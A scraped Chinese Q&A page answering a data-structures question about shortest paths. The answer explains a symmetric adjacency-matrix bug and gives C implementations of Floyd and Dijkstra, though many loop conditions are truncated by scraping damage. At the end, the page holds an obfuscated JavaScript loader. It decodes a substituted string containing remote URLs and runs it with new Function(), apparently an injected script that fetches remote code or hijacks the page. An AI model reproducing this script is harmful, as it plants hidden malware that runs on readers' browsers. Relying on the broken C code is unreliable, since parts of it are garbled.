关于数据结构中最短路径问题

2024-12-06 23:09:39
推荐回答(1个)
回答1:

问题 1: 创建景点图的函数initgraph()里,因为邻接矩阵是对称矩阵,所以要对称赋值,
        必须是用语句 c->arcs[j][i].adj=c->arcs[i][j].adj;
        注意,是[j][i]在前, 而[i][j]在后.

        而不是c->arcs[i][j].adj=c->arcs[j][i].adj;//错误

问题 2: 函数allpath()能计算出最短路径的总线路长度,但是,显示的中途经过的顶点不对.

代码的修改方案:

对于"任意一点与其它各点的最短路径"的问题,
可以用迪杰斯特拉(Dijkstra)算法,也可以用弗洛伊德(Floyd)算法,
以下是修改后的代码,提供两个方案:
void allpath_Floyd(mgraph c)    //方案1:Floyd算法
void allpath_Dijkstra(mgraph c) //方案2:Dijkstra算法

如果有任何问题,可以百度私信给我.


#include "stdio.h"
#include "string.h"

#define Infinity 9999
#define MaxVertexNum 20

typedef struct arcell       //边的信息
{
    int adj;    //权值
}arcell,adjmatrix[MaxVertexNum][MaxVertexNum];
typedef struct vexsinfo     //顶点信息
{
    int position;           //景点的编号
    char name[32];          //景点名
    char introduction[56];  //景点的介绍
}vexsinfo;
typedef struct mgraph//使用邻接矩阵实现图的存储
{
    vexsinfo vexs[MaxVertexNum];//数组顶点向量,存顶点信息
    adjmatrix arcs;             //邻接矩阵
    int vexnum,arcnum;          //顶点数和边数
}mgraph;

mgraph c;   //全局变量

//创建景点图 (输入参数是指针)
void initgraph(mgraph *c)
{
    int i,j;

    c->vexnum=6;   //顶点的总数量
    c->arcnum=8;  //边的总数量

    for(i=0;ivexnum;i++)//设置顶点编号
    {
        c->vexs[i].position=i;
    }

    strcpy(c->vexs[0].name,"v1");
    strcpy(c->vexs[1].name,"v2");
    strcpy(c->vexs[2].name,"v3");
    strcpy(c->vexs[3].name,"v4");
    strcpy(c->vexs[4].name,"v5");
    strcpy(c->vexs[5].name,"v6");

    //先初始化图的邻接矩阵
    for(i=0;ivexnum;i++)
    {
        for(j=0;jvexnum;j++)
        {
            c->arcs[i][j].adj=Infinity;
        }
    }

c->arcs[0][1].adj=7;
c->arcs[0][2].adj=11;
c->arcs[1][2].adj=10;
c->arcs[1][3].adj=9;
c->arcs[2][3].adj=5;
c->arcs[2][4].adj=7;
c->arcs[2][5].adj=8;
c->arcs[4][5].adj=6;

//邻接矩阵是对称矩阵,对称赋值
    for(i=0;ivexnum;i++)
    {
        for(j=0;jvexnum;j++)
        {
            //注意,是[j][i]在前, 而[i][j]在后.
            c->arcs[j][i].adj=c->arcs[i][j].adj;
        }
    }
}

//查看景点间的路线 [需要改善]
void allpath(mgraph c)
{
    //求从顶点v0到其余顶点的最短路径p[]及带权长度d[v](最短路径的距离)
    //p[][]数组用于存放两顶点间是否有通路标识,如果p[v][w]=1,则w是从v0到v的最短路径上的顶点
    //visited[数组用于设置访问标志
    int v,w,i,min,t=0,x; //变量t没有使用
    int v0;//v0为起始景点的编号
    int visited[20],d[20],p[20][20];
    printf("\n请输入一个起始景点的编号:");
    scanf("%d",&v0);
    printf("\n\n");
    while(v0<0 ||v0>c.vexnum)
    {
    printf("\n您输入的景点不存在\n");
    printf("请重新输入:");
    scanf("%d",&v0);
    }
    for(v=0;v    {
    visited[v]=0;//初始化各个景点的访问标识
    d[v]=c.arcs[v0][v].adj;//v0到各顶点v的权值赋给d[v],arcs是临界矩阵存两景点间的信息
    for(w=0;w    p[v][w]=0;//初始化数组,各顶点之间的路径全部设置为空
    if(d[v]    {
    p[v][v0]=1;
    p[v][v]=1;//各顶点到自己要联通
    }
    }
    d[v0]=0;//自己到自己的权值设置为0
    visited[v0]=1;
    for(i=1;i    {
    min=Infinity;
    for(w=0;w    if(!visited[w])
    if(d[w]    {
    v=w;min=d[w];
    }
    visited[v]=1;
    for(w=0;w    if(!visited[w]&&(min+c.arcs[v][w].adj    {
    d[w]=min+c.arcs[v][w].adj;//修改v0到w的权值d[w]
    for(x=0;x    p[w][x]=p[v][x];
    p[w][w]=1;
    }}
    for(v=0;v    {
    if(v0!=v)
    printf("%s",c.vexs[v0].name);//输出景点v0的名称
    for(w=0;w    {
    if(p[v][w] &&w!=v0 && w!=v)//如果w是且不等于v0,则输出该景点
    printf("---->%s",c.vexs[v].name);
    }
    printf("---->%s",c.vexs[v].name);
    printf("\n总路线长为%d米:\n\n",d[v]);
    }

}

//输出任意一点与其它各点的最短路径
//算法: 弗洛伊德(Floyd)
void allpath_Floyd(mgraph c)
{
  int v,w,k;
  int v0;     //输入的起始顶点编号
  int P[MaxVertexNum][MaxVertexNum]; //二维数组P用于记录两点之间的路径下标
  int D[MaxVertexNum][MaxVertexNum]; //二维数组D用于记录每条边的权值(也就是距离)

  while(1)
  {
   printf("请输入一个起始景点的编号(%d到%d): ",0,c.vexnum-1);
   scanf("%d",&v0);
   //景点图有c.vexnum个顶点,编号从0到(c.vexnum-1)
   if(v0<0 || v0 >= c.vexnum)
   {
     printf("景点的编号不存在!请重新输入编号\n");
     continue;  //直接跳到while()语句,继续循环
   }
   else
   {
     break;
   }
  }

  //对数组D和数组P进行初始化
  for(v=0; v < c.vexnum; v++)
  {
    for(w=0; w < c.vexnum; w++)
    {
      D[v][w]=c.arcs[v][w].adj;  //D[v][w]填入的初始值就是每条边的权值(也就是距离)
      P[v][w]=w;                  //P默认填入顶点编号w,作为终点
    }
  }

  //Floyd算法的核心代码: 3层for循环
  //最外层的k是中间点, v是起点, w是终点
  for(k=0; k  {
    for(v=0; v    {
      for(w=0; w      {
        if ( D[v][w] > (D[v][k]+D[k][w]) )
        {
          //如果经过下标为k顶点路径比原两点间路径更短,
          //那么,就将当前两点间权值设为更小的一个路径设置为经过下标为k的顶点
          D[v][w]=D[v][k]+D[k][w];
          P[v][w]=P[v][k];
        }
      }
    }
  }

  v=v0;  //v0是起始顶点编号
  for(w=0; w  {
    if(v==w)
    {
     continue;
    }
    k=P[v][w];           //获得"第一个"路径顶点下标
    printf("%s",c.vexs[v].name); //打印"起点"的名称
    while(k!=w)       //如果路径顶点下标不是终点
    {
      printf("-->%s",c.vexs[k].name); //打印路径"经过的顶点"的名称
      k=P[k][w];            //获得"下一个"路径顶点下标
    }
    printf("-->%s",c.vexs[w].name);   //打印"终点"的名称
    printf("   总路线长%dm",D[v][w]);
    printf("\n\n");
  }
}

//输出任意一点与其它各点的最短路径
//算法: 迪杰斯特拉(Dijkstra)
void allpath_Dijkstra(mgraph c)
{
 int v0;       //输入的起始顶点编号
 int w0;
 int v,w,k,min;
 int qty;
 int finalData[MaxVertexNum]; //finalData[w]=1表示已经求得起始顶点v0到vw(w是下标)的最短路径
 int P[MaxVertexNum];         //数组P用于记录两点之间的路径下标
 int D[MaxVertexNum];         //数组D用于存储到各点最短路径的权值和
 int PathBuf[MaxVertexNum];   //存入按顺序的路径下标(用于屏幕显示)

  while(1)
  {
   printf("请输入一个起始景点的编号(%d到%d): ",0,c.vexnum-1);
   scanf("%d",&v0);
   //景点图有c.vexnum个顶点,编号从0到(c.vexnum-1)
   if(v0<0 || v0 >= c.vexnum)
   {
     printf("景点的编号不存在!请重新输入编号\n");
     continue;  //直接跳到while()语句,继续循环
   }
   else
   {
     break;
   }
  }

 for(v=0; v < c.vexnum; v++)  //初始化数据
 {
   finalData[v] = 0;         //全部顶点初始化为未知最短路径状态
   D[v] = c.arcs[v0][v].adj;   //将与v0点有连线的顶点加上权值
   P[v] = 0;         //初始化路径数组P为0
 }

 D[v0] = 0;           //v0至v0路径为0
 finalData[v0] = 1;   //等于1,就是表示v0至v0不需要求路径

 //开始主循环, 每次求得v0到某个v顶点的最短路径
 for(v=0; v < c.vexnum; v++)
 {
   if(v==v0) continue;

   min=Infinity;    //当前所知道的离v0顶点的最短距离
   for(w=0; w < c.vexnum; w++) //寻找离v0最近的顶点
   {
     //如果finalData[w]等于0,表示下标w的顶点还没有找到最短路径
     if(finalData[w]==0 && D[w]     {
       k = w;
       min = D[w];    //w顶点离v0顶点更近,暂时将其设为最短距离
     }
   }
   finalData[k] = 1;  //将目前找到的最近的顶点置为1,表示已经找到最短路径

   for(w=0; w < c.vexnum; w++)  //遍历所有顶点,修正当前最短路径及距离
   {
     //如果经过v顶点的路径比现在这条路径的长度短的话,
     //说明找到了更短的路径, 修改数值D[w]和P[w]里的值
     if(finalData[w]==0 && ( min+c.arcs[k][w].adj < D[w] ))
     {
       D[w] = min + c.arcs[k][w].adj;  //修改当前路径长度
       P[w] = k;
     }
  }
 }

 //执行完Dijkstra算法之后,一维数组P[]里存放的最短路径是"倒序"的,
 //所以,先用数组PathBuf[]将"倒序"的路径存放起来,
 //然后,从数组PathBuf[]的末尾开始打印,这样,屏幕显示的就是"正向顺序"的路径.
 for(w0=0 ; w0 {
    if(w0==v0)
    {
      continue;
    }
    qty=0;
    PathBuf[qty]=w0; //w0是最短路    径的"最后一个顶点"的下标
    qty++;
    k=w0;
    while(P[k]!=0)
    {
      PathBuf[qty]=P[k];  //最短路径里的"中间顶点"的下标
      qty++;
      k=P[k];
    }
    PathBuf[qty]=v0; //v0是最短路径的"第一个顶点"的下标
    qty++;          //最后的qty就是等于最短路径里的顶点数量

    //重新按"正向顺序",打印最短路径里的所有顶点
    //从数组的末尾开始打印
    for(k=qty-1 ;k>=1 ; k--)
    {
      printf("%s-->",c.vexs[PathBuf[k]].name);
    }
    printf("%s",c.vexs[PathBuf[k]].name);
    printf("   总路线长%dm",D[w0]);
    printf("\n\n");
 }

}

int main(void)
{
    //创建景点图
    initgraph(&c); //输入参数是指针

    //查看景点间的路线

    allpath_Floyd(c);       //方案1: Floyd算法

    //allpath_Dijkstra(c);  //方案2: Dijkstra算法

    //allpath(c); //原代码[需要改善]

return 0;
}

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();